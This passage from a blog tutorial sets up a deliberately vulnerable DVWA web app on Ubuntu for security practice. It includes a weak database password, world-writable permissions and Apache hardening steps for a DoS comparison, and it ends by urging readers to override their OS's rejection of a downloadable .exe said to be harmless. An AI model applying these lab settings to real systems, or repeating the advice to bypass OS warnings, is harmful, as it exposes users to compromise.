&lt;p&gt;Why: DVWA (next step) needs a database and a dedicated database user to store its own accounts and vulnerable tables. With DVWA, you can perform SQL injection attacks from a web interface by visiting: &lt;a href="http://target-ip/DVWA" rel="noopener noreferrer"&gt;http://target-ip/DVWA&lt;/a&gt;&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;sudo mysql -u root&lt;/p&gt;

&lt;p&gt;Inside MySQL:&lt;br&gt;
sql&lt;/p&gt;

&lt;p&gt;CREATE DATABASE dwva;&lt;br&gt;
CREATE USER 'dwva'@'localhost' IDENTIFIED BY 'p@ssw0rd';&lt;br&gt;
GRANT ALL PRIVILEGES ON dwva.* TO 'dwva'@'localhost';&lt;br&gt;
FLUSH PRIVILEGES;&lt;/p&gt;

&lt;p&gt;SHOW DATABASES;&lt;br&gt;
USE dwva;&lt;br&gt;
SHOW TABLES;&lt;br&gt;
SELECT * FROM users;&lt;br&gt;
EXIT;&lt;/p&gt;

&lt;p&gt;Step 13: Installing DVWA (Vulnerable Web App)&lt;/p&gt;

&lt;p&gt;What is DVWA? A PHP/MySQL web app intentionally full of common vulnerabilities (SQL injection, XSS, weak passwords)—the standard practice target for Part 1's SQLmap and web enumeration commands.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Install the LAMP stack plus git:
bash&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;sudo apt install -y apache2 \&lt;br&gt;
  mariadb-server php php-mysql \&lt;br&gt;
  php-gd libapache2-mod-php git&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Clone DVWA from GitHub into Apache's web root:
bash&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;cd /var/www/html/&lt;br&gt;
sudo git clone &lt;a href="https://github.com/digininja/DVWA.git" rel="noopener noreferrer"&gt;https://github.com/digininja/DVWA.git&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open permissions so DVWA can write its config:
bash&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;sudo chmod -R 777 /var/www/html/DVWA/&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Copy the sample config and point it at your database:
bash&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;cd /var/www/html/DVWA/config/&lt;br&gt;
sudo cp config.inc.php.dist config.inc.php&lt;br&gt;
sudo nano config.inc.php # db_user='dwva', db_password='p@ssw0rd'&lt;/p&gt;

&lt;p&gt;Access it: Open http:///DVWA/setup.php from Kali's browser. Default login is admin / password. Set the security level to "low" while you're first learning each attack.&lt;br&gt;
📊 Step 14: Monitoring &amp;amp; Apache Hardening&lt;/p&gt;

&lt;p&gt;Watching the target during an attack:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;top / htop                                              # live resource usage&lt;br&gt;
ss -tn state established '( sport = :80 )' | wc -l      # count HTTP connections&lt;br&gt;
sudo iftop -i enp0s3                                    # live network traffic&lt;br&gt;
sudo tail -f /var/log/apache2/access.log                # request log&lt;br&gt;
ps aux | grep apache                                    # process monitoring&lt;/p&gt;

&lt;p&gt;Hardening Apache:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;sudo a2enmod reqtimeout&lt;br&gt;
sudo a2enmod headers&lt;br&gt;
sudo systemctl restart apache2&lt;/p&gt;

&lt;p&gt;Sample hardening for /etc/apache2/apache2.conf:&lt;br&gt;
text&lt;/p&gt;

&lt;p&gt;Timeout 30&lt;br&gt;
MaxRequestWorkers 150&lt;br&gt;
KeepAliveTimeout 5&lt;/p&gt;

&lt;p&gt;Full circle: After you've successfully run a DoS test from Kali, come back here and apply these settings—then re-run the same attack and watch the difference in how long the server holds up.&lt;br&gt;
🏁 End Of Lab&lt;/p&gt;

&lt;p&gt;Understanding bash commands is always the first and most important step. Ubuntu and Kali both have excellent documentation.&lt;/p&gt;

&lt;p&gt;If it feels overwhelming, you can download and run this binary tool that compiles and categorizes over 500 bash commands and their usage for free:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://github.com/toyosee/cyberref-releases/releases/tag/v0.2.0

Download and run the cyberref.exe—no installation needed, no internet needed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This is a free tool for students, researchers, and a quick reference for professionals. Your OS might reject it at first; grant it access. It is harmless.&lt;br&gt;
👋 About Me&lt;/p&gt;

&lt;p&gt;I am a usual guy that likes technology. If you wish to know more about me, follow me:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LinkedIn: www.linkedin.com/in/elijahbolaji/

GitHub: https://github.com/toyosee/

YouTube: https://www.youtube.com/@barterverse
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Need a Video Guide? If you want a step-by-step video guide, ask in the comment section.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>beginners</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
